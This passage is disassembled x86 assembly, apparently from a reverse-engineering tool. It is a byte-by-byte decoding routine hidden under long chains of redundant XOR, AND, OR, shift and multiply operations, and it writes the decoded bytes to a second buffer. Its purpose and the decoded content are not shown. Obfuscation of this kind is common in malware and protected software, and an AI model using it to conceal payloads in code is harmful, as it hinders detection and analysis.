xor al, 0xff
and dl, al
xor dl, 0xff
xor dl, 0x8e
mov byte [0x473865], dl
mov al, byte [0x473666]
xor al, 8
mov byte [0x473866], al
mov al, byte [0x473667]
xor al, 4
mov byte [str.f1w_f8], al
mov al, byte [0x473668]
mov dl, al
or dl, dl
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
xor dl, 0xff
mov cl, dl
xor cl, 0xc
and cl, dl
xor al, 0xff
and al, 0xc
mov dl, cl
and dl, al
xor cl, al
or dl, cl
mov al, dl
and al, 0xff
shl al, 1
add dl, 0xff
sub dl, al
mov byte [0x473868], dl
mov dl, byte [0x473669]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
or al, cl
xor al, 0xff
or al, 0
and al, 0xff
xor al, 0xff
mov cl, dl
or cl, cl
xor cl, 0xff
or cl, 0
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
or al, cl
and al, 0xa9
xor al, 0xff
xor dl, 0xff
or dl, 0xa9
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
or dl, 0
xor dl, 0xff
mov cl, al
xor cl, dl
and cl, al
xor cl, 0xff
mov byte [0x473869], cl
mov al, byte [0x47366a]
mov dl, al
xor dl, 0x90
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
mov cl, dl
xor cl, 0xff
xor dl, 0xff
and cl, dl
xor cl, 0xff
and cl, 0x90
shl cl, 1
sub cl, 0x90
sub al, cl
mov byte [0x47386a], al
mov al, byte [0x47366b]
mov cl, al
xor cl, 0xff
and cl, 0xde
and al, 0x21
mov dl, cl
and dl, al
xor cl, al
or dl, cl
xor dl, 0x47
mov byte [0x47386b], dl
mov al, byte [0x47366c]
xor al, 0x2f
mov byte [0x47386c], al
mov al, byte [0x47366d]
mov cl, al
xor cl, 0xff
and cl, 0xa3
and al, 0x5c
or cl, al
xor cl, 0xaa
mov byte [0x47386d], cl
mov al, byte [0x47366e]
mov dl, al
xor dl, 0x68
xor dl, 0xff
and dl, 0x68
shl dl, 1
mov cl, dl
xor cl, 0xff
and cl, 0x68
and dl, 0x97
sub dl, cl
sub al, dl
mov byte [0x47386e], al
mov al, byte [0x47366f]
xor al, 0x15
mov byte [0x47386f], al
mov al, byte [0x473670]
xor al, 0x37
mov byte [0x473870], al
mov al, byte [0x473671]
mov cl, al
xor cl, 0xc8
xor cl, 0xff
and cl, 0xc8
shl cl, 1
sub cl, 0xc8
sub al, cl
mov byte [0x473871], al
mov dl, byte [0x473672]
mov al, dl
xor al, 0xff
and al, 0xff
or al, 0
xor al, 0xff
or al, 0x75
xor al, 0xff
and al, 0xff
and dl, 0x75
or al, dl
mov cl, al
xor cl, 0x53
xor cl, 0xff
and cl, 0x53
shl cl, 1
sub cl, 0x53
sub al, cl
mov byte [0x473872], al
mov al, byte [0x473673]
xor al, 0
mov byte [0x473873], al
mov al, byte [0x473674]
xor al, 0x42
mov byte [0x473874], al
mov cl, byte [0x473675]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
or al, 0xa1
xor al, 0xff
or cl, 0x5e
xor cl, 0xff
or al, cl
xor al, 0xff
mov byte [0x473875], al
mov al, byte [0x473676]
xor al, 0xbf
mov byte [0x473876], al
mov al, byte [0x473677]
mov dl, al
and dl, dl
xor dl, 0xff
and dl, 0x72
xor dl, 0xff
mov cl, al
xor cl, 0x8d
xor cl, 0xff
or al, 0x8d
and al, cl
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
mov ah, dl
xor ah, 0xff
and ah, 0xb8
and dl, 0x47
or ah, dl
xor ah, 0x47
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
or ah, al
mov byte [0x473877], ah
mov al, byte [0x473678]
mov cl, al
and cl, 0x26
shl cl, 1
add al, 0x26
sub al, cl
mov byte [0x473878], al
mov dl, byte [0x473679]
mov al, dl
or al, al
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
xor al, 0xff
and al, 0xb3
or dl, 0xb3
xor dl, 0xff
mov cl, dl
and cl, al
xor cl, 0xff
add al, dl
add al, 1
add al, cl
xor al, 0xff
mov byte [0x473879], al
mov al, byte [0x47367a]
mov cl, al
xor cl, 0xff
and cl, 0x13
and al, 0xec
or cl, al
xor cl, 0xfb
mov byte [0x47387a], cl
mov al, byte [0x47367b]
mov dl, al
xor dl, 0xff
and dl, 0xd5
mov cl, al
and cl, 0x2a
or dl, cl
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
and dl, 0xd5
shl dl, 1
sub dl, 0xd5
xor dl, 0xff
add al, dl
add al, 1
mov byte [0x47387b], al
mov al, byte [0x47367c]
mov cl, al
and cl, 9
shl cl, 1
add al, 9
sub al, cl
mov byte [0x47387c], al
mov bl, byte [0x47367d]
mov dl, bl
xor dl, 0xff
or dl, 0x7a
xor dl, 0xff
and dl, 0xff
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0x85
sub bl, al
mov byte [0x47387d], bl
mov al, byte [0x47367e]
xor al, 2
mov byte [0x47387e], al
mov ah, byte [0x47367f]
mov al, ah
or al, al
xor al, 0xff
and al, 0xff
or al, 0
xor al, 0xff
xor al, 0xff
or al, 0x8d
xor al, 0xff
and al, 0xff
or ah, 0x72
mov dl, ah
xor dl, 0xff
xor ah, 0xff
or dl, ah
xor dl, 0xff
or dl, 0
xor dl, 0xff
or dl, 0
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
xor dl, 0xff
xor al, 0xff
xor dl, 0xff
or al, dl
xor al, 0xff
and al, 0xff
mov byte [0x47387f], al
mov al, byte [0x473680]
xor al, 0x25
mov byte [0x473880], al
mov al, byte [0x473681]
mov cl, al
xor cl, 0xbf
xor cl, 0xff
and cl, 0xbf
shl cl, 1
sub cl, 0xbf
sub al, cl
mov byte [0x473881], al
mov al, byte [0x473682]
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0x3b
xor cl, 0xff
xor al, 0xff
or al, 0x3b
and cl, al
xor cl, 0xff
mov byte [0x473882], cl
mov al, byte [0x473683]
xor al, 0x1b
mov byte [0x473883], al
mov al, byte [0x473684]
xor al, 0x7c
mov byte [0x473884], al
mov al, byte [0x473685]
mov cl, al
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0xd5
or al, 0xd5
xor al, 0xff
or cl, al
xor cl, 0xff
mov byte [0x473885], cl
mov al, byte [0x473686]
xor al, 0xf0
mov byte [0x473886], al
mov al, byte [0x473687]
mov cl, al
xor cl, 0xff
xor cl, 0xff
xor cl, 6
and cl, 6
and al, 0xf9
or cl, al
mov byte [0x473887], cl
mov bl, byte [0x473688]
mov dl, bl
xor dl, 0xb3
xor dl, 0xff
xor dl, 0xff
xor dl, 0xb3
and dl, 0xb3
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0xb3
sub bl, al
mov byte [0x473888], bl
mov al, byte [0x473689]
xor al, 0x94
mov byte [0x473889], al
mov al, byte [0x47368a]
mov dl, al
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
and dl, 0x75
and al, 0x8a
or dl, al
mov byte [0x47388a], dl
mov al, byte [0x47368b]
mov cl, al
xor cl, 0xff
and cl, 0xce
and al, 0x31
or cl, al
mov byte [0x47388b], cl
mov al, byte [0x47368c]
mov cl, al
xor cl, 0xff
and cl, 0xc4
mov dl, al
and dl, 0x3b
or cl, dl
xor cl, 0x3b
mov dl, cl
xor dl, 0xff
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0xd0
and al, 0x2f
or dl, al
xor dl, 0xf6
mov byte [0x47388c], dl
mov al, byte [0x47368d]
mov cl, al
xor cl, 0x70
xor cl, 0xff
and cl, 0x70
shl cl, 1
sub cl, 0x70
sub al, cl
mov byte [0x47388d], al
mov al, byte [0x47368e]
xor al, 0xf4
mov byte [0x47388e], al
mov al, byte [0x47368f]
mov dl, al
xor dl, 0xff
mov dh, al
xor dh, 0xff
mov ah, dl
and ah, 0xa7
mov cl, al
and cl, 0x58
mov ch, dh
and ch, 0xa7
mov bl, al
and bl, 0x58
or ah, cl
or ch, bl
xor ah, ch
or dl, dh
xor dl, 0xff
and dl, 0xff
or ah, dl
mov dl, ah
xor dl, 0xff
xor ah, 0xff
or dl, ah
xor dl, 0xff
or dl, 0
and dl, 0xff
xor dl, 0xff
or dl, 0x29
xor dl, 0xff
xor al, 0xff
and al, 0x29
or dl, al
mov al, dl
xor al, 0xff
xor al, 0xff
and al, 0xff
shl al, 1
sub al, 0xff
sub dl, al
mov byte [0x47388f], dl
mov cl, byte [0x473690]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
and al, 0x48
xor al, 0xff
and cl, 0xb7
xor cl, 0xff
and al, cl
xor al, 0xff
mov byte [0x473890], al
mov al, byte [0x473691]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
and dl, 0xff
or dl, 0
or cl, dl
mov dl, cl
xor dl, 0xff
xor cl, 0xff
and dl, cl
or dl, 0
xor dl, 0xff
or dl, 0
xor dl, 0xff
or dl, 0xb4
xor al, 0xff
or al, 0x4b
mov ah, dl
xor ah, 0xff
mov cl, al
xor cl, 0xff
or ah, cl
xor dl, 0xff
xor al, 0xff
or dl, al
and ah, dl
xor ah, 0xff
xor ah, 0xff
mov byte [0x473891], ah
mov al, byte [0x473692]
xor al, 0xe8
mov byte [0x473892], al
mov al, byte [0x473693]
xor al, 0x97
mov byte [0x473893], al
mov al, byte [0x473694]
mov dl, al
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0x7b
mov cl, al
or cl, 0x7b
xor cl, 0xff
or dl, cl
xor dl, 0xff
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
or dl, dl
xor dl, 0xff
or dl, 0x84
xor dl, 0xff
shl dl, 1
mov cl, dl
xor cl, 0xff
and cl, 0x7b
and dl, 0x84
sub dl, cl
sub al, dl
mov byte [0x473894], al
mov al, byte [0x473695]
xor al, 0xa6
mov byte [0x473895], al
mov al, byte [0x473696]
xor al, 0x26
mov byte [0x473896], al
mov al, byte [0x473697]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov dl, al
sub dl, cl
and dl, 0x20
and al, 0xdf
or dl, al
mov byte [0x473897], dl
mov al, byte [0x473698]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0x27
or al, 0x27
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x473898], dl
mov al, byte [0x473699]
mov cl, al
xor cl, 0x88
xor cl, 0xff
mov dl, al
or dl, 0x88
and dl, cl
shl dl, 1
mov cl, al
and cl, 0x88
or al, 0x88
add cl, al
xor eax, eax
sub al, dl
add cl, al
mov byte [0x473899], cl
mov al, byte [0x47369a]
xor al, 0x15
mov byte [0x47389a], al
mov al, byte [0x47369b]
mov cl, al
xor cl, 0xff
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0xee
and al, 0x11
or cl, al
xor cl, 0x2c
mov byte [0x47389b], cl
mov dl, byte [0x47369c]
mov al, dl
or al, al
xor al, 0xff
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
and al, 0xc3
or dl, 0xc3
xor dl, 0xff
and dl, 0xff
or dl, 0
xor al, 0xff
mov ah, dl
xor ah, 0xff
xor dl, 0xff
or ah, dl
xor ah, 0xff
or ah, 0
and ah, 0xff
xor ah, 0xff
xor al, 0xff
xor ah, 0xff
or al, ah
xor al, 0xff
and al, 0xff
mov byte [0x47389c], al
mov al, byte [0x47369d]
xor al, 0xf5
mov byte [0x47389d], al
mov al, byte [str.admt]
mov cl, al
and cl, 0x2d
shl cl, 1
mov dl, al
and dl, 0x2d
shl dl, 1
xor al, 0x2d
add al, dl
sub al, cl
mov byte [0x47389e], al
mov al, byte [0x47369f]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
xor dl, 0xff
mov ah, cl
xor ah, dl
and ah, cl
xor ah, 0xff
mov cl, ah
add cl, 1
xor ah, 0xff
or ah, 0x71
add ah, cl
xor al, 0xff
and al, 0x8e
mov dl, ah
xor dl, 0xff
xor ah, 0xff
or dl, ah
and dl, 0xff
xor dl, 0xff
xor dl, 0xff
or dl, 0
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
and dl, al
mov byte [0x47389f], dl
mov al, byte [0x4736a0]
mov cl, al
xor cl, 0xff
mov dl, cl
xor dl, 0xf
xor dl, 0xff
or cl, 0xf
and cl, dl
and al, 0xf0
or cl, al
xor cl, 0x7b
mov byte [str.iu__], cl
mov cl, byte [0x4736a1]
mov al, cl
xor al, 0xff
and al, 7
and cl, 0xf8
or al, cl
mov cl, al
xor cl, 0x7a
xor cl, 0xff
and cl, 0x7a
shl cl, 1
sub cl, 0x7a
sub al, cl
mov byte [0x4738a1], al
mov al, byte [0x4736a2]
xor al, 0x64
mov byte [0x4738a2], al
mov al, byte [0x4736a3]
xor al, 0xcd
mov byte [0x4738a3], al
mov al, byte [0x4736a4]
xor al, 0x56
mov byte [0x4738a4], al
mov al, byte [0x4736a5]
mov cl, al
xor cl, 0xff
or cl, 0
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub al, 1
sub al, cl
mov byte [0x4738a5], al
mov bl, byte [0x4736a6]
mov al, bl
add al, 1
mov dl, bl
xor dl, 0xff
or dl, 0x11
add dl, al
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
mov cl, bl
and cl, 0x11
or bl, 0x11
add cl, bl
mov dl, cl
xor dl, al
xor al, 0xff
and cl, al
shl cl, 1
sub cl, dl
mov byte [0x4738a6], cl
mov al, byte [0x4736a7]
xor al, 0xcd
mov byte [0x4738a7], al
mov al, byte [0x4736a8]
mov cl, al
xor cl, 0xff
or cl, 0x5e
add cl, 0xa2
and al, 0x5e
or cl, al
xor cl, 0xdc
mov byte [0x4738a8], cl
mov al, byte [0x4736a9]
xor al, 0x9c
mov byte [0x4738a9], al
mov al, byte [0x4736aa]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0
xor dl, 0xff
or dl, 0
mov cl, al
xor cl, 0xff
mov ah, dl
and ah, cl
xor dl, cl
or ah, dl
xor ah, 0xff
mov dl, ah
and dl, 0xda
xor ah, 0xda
or dl, ah
and al, 0xda
xor al, 0xff
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
or dl, al
mov byte [0x4738aa], dl
mov al, byte [0x4736ab]
xor al, 0x65
mov byte [0x4738ab], al
mov al, byte [0x4736ac]
mov cl, al
and cl, 0xd2
shl cl, 1
add al, 0xd2
sub al, cl
mov byte [0x4738ac], al
mov al, byte [0x4736ad]
mov cl, al
and cl, 0xff
shl cl, 1
mov dl, al
add dl, 0xff
sub dl, cl
and dl, 0x8e
mov cl, al
add cl, 1
xor al, 0xff
or al, 0x71
add al, cl
mov cl, dl
xor cl, 0xff
mov ah, al
xor ah, 0xff
and cl, ah
or dl, al
xor dl, 0xff
or cl, dl
xor cl, 0xff
mov byte [0x4738ad], cl
mov al, byte [0x4736ae]
xor al, 0x17
mov byte [0x4738ae], al
mov al, byte [0x4736af]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov dl, al
sub dl, cl
and dl, 0x38
mov cl, al
xor cl, 0x38
and cl, al
mov al, dl
and al, cl
xor dl, cl
or al, dl
mov byte [0x4738af], al
mov al, byte [0x4736b0]
mov ah, al
xor ah, 0xff
and ah, 0xff
or ah, 0
mov cl, al
xor cl, 0xff
and ah, cl
xor ah, 0xff
and ah, 0xff
or ah, 0
mov dl, ah
xor dl, 0xff
xor ah, 0xff
and dl, ah
xor dl, 0xff
and dl, 0x8a
or al, 0x8a
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
xor dl, 0xff
and dl, 0xff
or dl, 0
mov cl, al
xor cl, 0xff
xor al, 0xff
or cl, al
and cl, 0xff
xor cl, 0xff
and cl, 0xff
xor cl, 0xff
and dl, cl
mov byte [0x4738b0], dl
mov dl, byte [str.HXK]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
xor al, 0xff
mov cl, al
add cl, 1
xor al, 0xff
or al, 0x37
add al, cl
or dl, 0x37
xor dl, 0xff
or al, dl
xor al, 0xff
mov byte [0x4738b1], al
mov al, byte [0x4736b2]
mov dl, al
xor dl, 0x58
xor dl, 0xff
and dl, 0x58
shl dl, 1
mov cl, dl
xor cl, 0xff
and cl, 0x58
and dl, 0xa7
sub dl, cl
sub al, dl
mov byte [0x4738b2], al
mov dl, byte [0x4736b3]
mov ah, dl
and ah, ah
xor ah, 0xff
and ah, 0xff
or ah, 0
mov al, ah
and al, 0x48
xor al, 0xff
xor ah, 0xff
or ah, 0xb7
and al, ah
xor al, 0xff
xor al, 0xff
xor dl, 0xff
or dl, 0x48
xor al, 0xff
and al, 0xff
or al, 0
mov ah, dl
xor ah, 0xff
xor dl, 0xff
or ah, dl
xor ah, 0xff
or ah, 0
xor ah, 0xff
or ah, 0
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov byte [0x4738b3], cl
mov al, byte [0x4736b4]
mov cl, al
xor cl, 0xff
and cl, 0x6e
and al, 0x91
or cl, al
xor cl, 0x35
mov byte [0x4738b4], cl
mov al, byte [0x4736b5]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
or dl, 0
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
and dl, 0xd3
and al, 0x2c
mov cl, dl
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov dl, al
xor dl, 0xff
xor al, 0xff
or dl, al
and cl, dl
xor cl, 0xff
mov byte [0x4738b5], cl
mov al, byte [0x4736b6]
mov dl, al
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0x94
or al, 0x94
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x4738b6], dl
mov dl, byte [0x4736b7]
mov al, dl
or al, al
xor al, 0xff
mov cl, al
and cl, 0x33
xor cl, 0xff
add al, 0x33
add al, 1
add al, cl
xor al, 0xff
or dl, 0xcc
xor dl, 0xff
xor al, 0xff
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
xor dl, 0xff
mov cl, al
xor cl, dl
and cl, al
mov byte [0x4738b7], cl
mov al, byte [0x4736b8]
xor al, 0xd2
mov byte [0x4738b8], al
mov al, byte [0x4736b9]
xor al, 0xde
mov byte [0x4738b9], al
mov bl, byte [0x4736ba]
mov al, bl
and al, 0x1d
shl al, 1
mov dl, bl
add dl, 0x1d
sub dl, al
xor dl, 0xff
and dl, 0x1d
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add al, 0xe2
add al, 1
sub bl, al
mov byte [0x4738ba], bl
mov al, byte [0x4736bb]
xor al, 0x99
mov byte [0x4738bb], al
mov al, byte [0x4736bc]
mov cl, al
and cl, 0xf7
shl cl, 1
sub al, 9
add al, 0xed
sub al, cl
sub al, 0xed
mov byte [0x4738bc], al
mov al, byte [0x4736bd]
mov cl, al
add cl, 1
mov dl, al
xor dl, 0xff
or dl, 0x9a
add dl, cl
shl dl, 1
add al, 0x9a
sub al, dl
mov byte [0x4738bd], al
mov al, byte [0x4736be]
xor al, 0xda
mov byte [0x4738be], al
mov al, byte [0x4736bf]
xor al, 0xdb
mov byte [0x4738bf], al
mov al, byte [0x4736c0]
mov ah, al
xor ah, 0xff
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov dl, al
sub dl, cl
or ah, dl
mov dl, ah
xor dl, 0xff
and dl, 0xa5
and ah, 0x5a
or dl, ah
xor dl, 0x5a
or dl, 2
and al, 2
xor al, 0xff
mov ah, dl
xor ah, 0xff
mov cl, al
xor cl, 0xff
or ah, cl
xor dl, 0xff
xor al, 0xff
or dl, al
and ah, dl
xor ah, 0xff
xor ah, 0xff
mov byte [0x4738c0], ah
mov al, byte [0x4736c1]
xor al, 0xbb
mov byte [0x4738c1], al
mov al, byte [0x4736c2]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov dl, al
sub dl, cl
xor dl, 0xff
or dl, 0xf0
xor dl, 0xff
and dl, 0xff
and al, 0xf0
or dl, al
mov byte [0x4738c2], dl
mov al, byte [0x4736c3]
xor al, 0x15
mov byte [0x4738c3], al
mov al, byte [0x4736c4]
mov dl, al
or dl, dl
xor dl, 0xff
or dl, 0xb4
xor dl, 0xff
mov cl, al
xor cl, 0xff
and cl, 0xb4
or dl, cl
xor dl, 0xff
xor dl, 0xff
and dl, 0x4b
shl dl, 1
sub dl, 0x4b
sub al, dl
mov byte [0x4738c4], al
mov al, byte [0x4736c5]
mov cl, al
xor cl, 0xff
and cl, 0x8b
and al, 0x74
or cl, al
xor cl, 0x4a
mov byte [0x4738c5], cl
mov al, byte [0x4736c6]
mov cl, al
xor cl, 0xe3
xor cl, 0xff
and cl, 0xe3
shl cl, 1
sub cl, 0xe3
sub al, cl
mov byte [0x4738c6], al
mov al, byte [0x4736c7]
mov cl, al
xor cl, 0xff
and cl, 0x90
and al, 0x6f
or cl, al
mov byte [0x4738c7], cl
mov al, byte [0x4736c8]
mov cl, al
xor cl, 0xff
and cl, 0xb7
mov dl, al
xor dl, 0xb7
and dl, al
or cl, dl
mov byte [0x4738c8], cl
mov al, byte [0x4736c9]
mov ah, al
xor ah, 0xff
mov cl, al
xor cl, 0xff
and cl, 0xd7
mov dl, al
and dl, 0x28
or cl, dl
xor cl, 0x28
and ah, cl
mov dl, ah
xor dl, 0xff
and dl, 0x9e
and ah, 0x61
or dl, ah
xor dl, 0x61
and dl, 0x8c
xor al, 0xff
and al, 0x73
xor dl, 0xff
and dl, 0xff
or dl, 0
xor al, 0xff
and al, 0xff
or al, 0
and dl, al
mov byte [0x4738c9], dl
mov ah, byte [0x4736ca]
mov al, ah
and al, al
xor al, 0xff
xor al, 0xff
or al, 0x54
xor al, 0xff
and al, 0xff
xor al, 0xff
xor ah, 0xff
mov dh, ah
xor dh, 0xff
mov dl, dh
and dl, 0xc9
and ah, 0x36
or dl, ah
xor dl, 0x62
or dh, 0x54
xor dh, 0xff
and dh, 0xff
or dl, dh
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
or al, dl
mov byte [0x4738ca], al
mov al, byte [0x4736cb]
xor al, 0x4d
mov byte [0x4738cb], al
mov al, byte [0x4736cc]
xor al, 0xaa
mov byte [0x4738cc], al
mov al, byte [0x4736cd]
xor al, 0xae
mov byte [0x4738cd], al
mov dl, byte [0x4736ce]
mov al, dl
xor al, 0xff
or al, al
xor al, 0xff
or al, 0x7b
xor al, 0xff
and dl, 0x7b
mov cl, dl
and cl, al
xor cl, 0xff
add al, dl
add al, 1
add al, cl
mov byte [0x4738ce], al
mov al, byte [0x4736cf]
mov cl, al
xor cl, 0xff
and cl, 0xce
and al, 0x31
or cl, al
mov byte [0x4738cf], cl
mov bl, byte [0x4736d0]
mov dl, bl
xor dl, 0x8a
xor dl, 0xff
mov al, dl
xor al, 0x8a
xor al, 0xff
or dl, 0x8a
and dl, al
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0x8a
sub bl, al
mov byte [0x4738d0], bl
mov al, byte [0x4736d1]
xor al, 0xc0
mov byte [0x4738d1], al
mov al, byte [str.LW.]
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0xca
xor cl, 0xff
xor al, 0xff
or al, 0xca
and cl, al
xor cl, 0xff
mov byte [0x4738d2], cl
mov dl, byte [0x4736d3]
mov al, dl
xor al, 0xff
and al, 0xff
or al, 0
and al, 0x6e
mov cl, dl
add cl, 1
xor dl, 0xff
or dl, 0x91
add dl, cl
or al, dl
mov cl, al
xor cl, 0xff
and cl, 0xd1
and al, 0x2e
or cl, al
mov byte [0x4738d3], cl
mov al, byte [0x4736d4]
mov cl, al
xor cl, 0xff
and cl, 0xb5
and al, 0x4a
or cl, al
xor cl, 0xe9
mov byte [0x4738d4], cl
mov al, byte [0x4736d5]
xor al, 0x47
mov byte [0x4738d5], al
mov al, byte [0x4736d6]
xor al, 0x3e
mov byte [0x4738d6], al
mov al, byte [0x4736d7]
xor al, 0x95
mov byte [0x4738d7], al
mov al, byte [0x4736d8]
xor al, 0xae
mov byte [0x4738d8], al
mov dl, byte [0x4736d9]
mov cl, dl
xor cl, 0xff
mov al, cl
xor al, 0xff
xor cl, 0xff
and al, cl
or al, 0x44
xor al, 0xff
mov cl, dl
xor cl, 0xff
xor dl, 0xff
and cl, dl
xor cl, 0xff
and cl, 0x44
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov byte [0x4738d9], dl
mov cl, byte [0x4736da]
mov dl, cl
xor dl, 0x88
xor dl, 0xff
mov al, cl
or al, 0x88
and al, dl
shl al, 1
xor edx, edx
sub dl, cl
add dl, 0x78
xor ecx, ecx
sub cl, dl
sub cl, al
mov byte [0x4738da], cl
mov cl, byte [0x4736db]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
and al, 0x66
xor al, 0xff
and cl, 0x99
xor cl, 0xff
and al, cl
xor al, 0xff
mov byte [0x4738db], al
mov al, byte [0x4736dc]
mov cl, al
and cl, 0xe3
shl cl, 1
add al, 0xe3
sub al, cl
mov byte [0x4738dc], al
mov al, byte [0x4736dd]
mov ah, al
xor ah, 0xff
and ah, 0x9f
mov cl, al
and cl, 0x60
or ah, cl
xor ah, 0x60
mov dl, ah
xor dl, 0xff
or dl, 0x71
and ah, 0x8e
xor ah, 0xff
xor dl, 0xff
xor ah, 0xff
or dl, ah
xor al, 0xff
or al, 0x8e
xor al, 0xff
and al, 0xff
or dl, al
mov byte [0x4738dd], dl
mov al, byte [0x4736de]
mov cl, al
xor cl, 0xff
mov dl, cl
xor dl, 0xff
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0xe4
and al, 0x1b
mov cl, dl
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov dl, al
xor dl, 0xff
xor al, 0xff
or dl, al
and cl, dl
xor cl, 0xff
mov byte [0x4738de], cl
mov ah, byte [0x4736df]
mov dh, ah
xor dh, 0xff
or dh, 0xc9
add dh, 0x37
and ah, 0xc9
mov al, dh
xor al, 0xff
mov bl, ah
xor bl, 0xff
mov dl, al
and dl, 0x97
and dh, 0x68
mov cl, bl
and cl, 0x97
and ah, 0x68
or dl, dh
or cl, ah
xor dl, cl
or al, bl
xor al, 0xff
and al, 0xff
or dl, al
xor dl, 0x5c
mov byte [0x4738df], dl
mov al, byte [0x4736e0]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
and dl, 0x32
xor dl, 0xff
and al, 0xcd
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x4738e0], dl
mov ah, byte [0x4736e1]
mov cl, ah
xor cl, 0xff
mov dl, ah
xor dl, 0xff
mov al, cl
and al, dl
xor cl, dl
or al, cl
xor al, 0xff
mov cl, al
and cl, 0x91
mov dl, al
xor dl, 0x6e
add al, dl
sub al, cl
mov dl, ah
xor dl, 0x91
and dl, ah
or dl, dl
xor dl, 0xff
or dl, 0
xor dl, 0xff
or dl, 0
xor dl, 0xff
xor al, 0xff
xor dl, 0xff
mov cl, dl
and cl, al
xor cl, 0xff
add al, dl
add al, 1
add al, cl
mov byte [0x4738e1], al
mov dl, byte [0x4736e2]
mov al, dl
xor al, 0xff
or al, al
xor al, 0xff
xor al, 0xff
and al, 0x8b
mov cl, dl
add cl, 1
xor dl, 0xff
or dl, 0x74
add dl, cl
mov cl, dl
and cl, al
xor cl, 0xff
add al, dl
add al, 1
add al, cl
xor al, 0xe0
mov byte [0x4738e2], al
mov al, byte [0x4736e3]
mov dl, al
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0x63
or al, 0x63
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x4738e3], dl
mov al, byte [0x4736e4]
xor al, 0xbc
mov byte [0x4738e4], al
mov al, byte [0x4736e5]
mov cl, al
xor cl, 0xb8
xor cl, 0xff
and cl, 0xb8
shl cl, 1
sub cl, 0xb8
sub al, cl
